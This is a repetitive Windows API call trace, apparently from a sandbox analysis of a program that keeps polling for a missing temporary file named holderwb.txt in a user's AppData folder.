	[0099.527] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.527] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.527] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.528] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.528] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.528] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.528] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.529] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.529] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.529] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.529] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.529] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.530] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.530] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.530] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.531] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.531] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.531] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.531] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.531] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.531] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.532] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.532] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.532] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.532] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.532] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.532] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.533] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.533] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.533] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.533] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.533] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.534] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.534] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.534] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.534] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.535] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.535] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.535] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.536] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.536] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.536] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.536] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.536] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.536] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.537] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.537] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.537] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.537] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.537] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.537] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.538] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.538] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.538] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.538] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.538] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.539] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.539] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.539] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.539] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.540] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.540] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.540] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.541] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.541] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.541] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.541] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
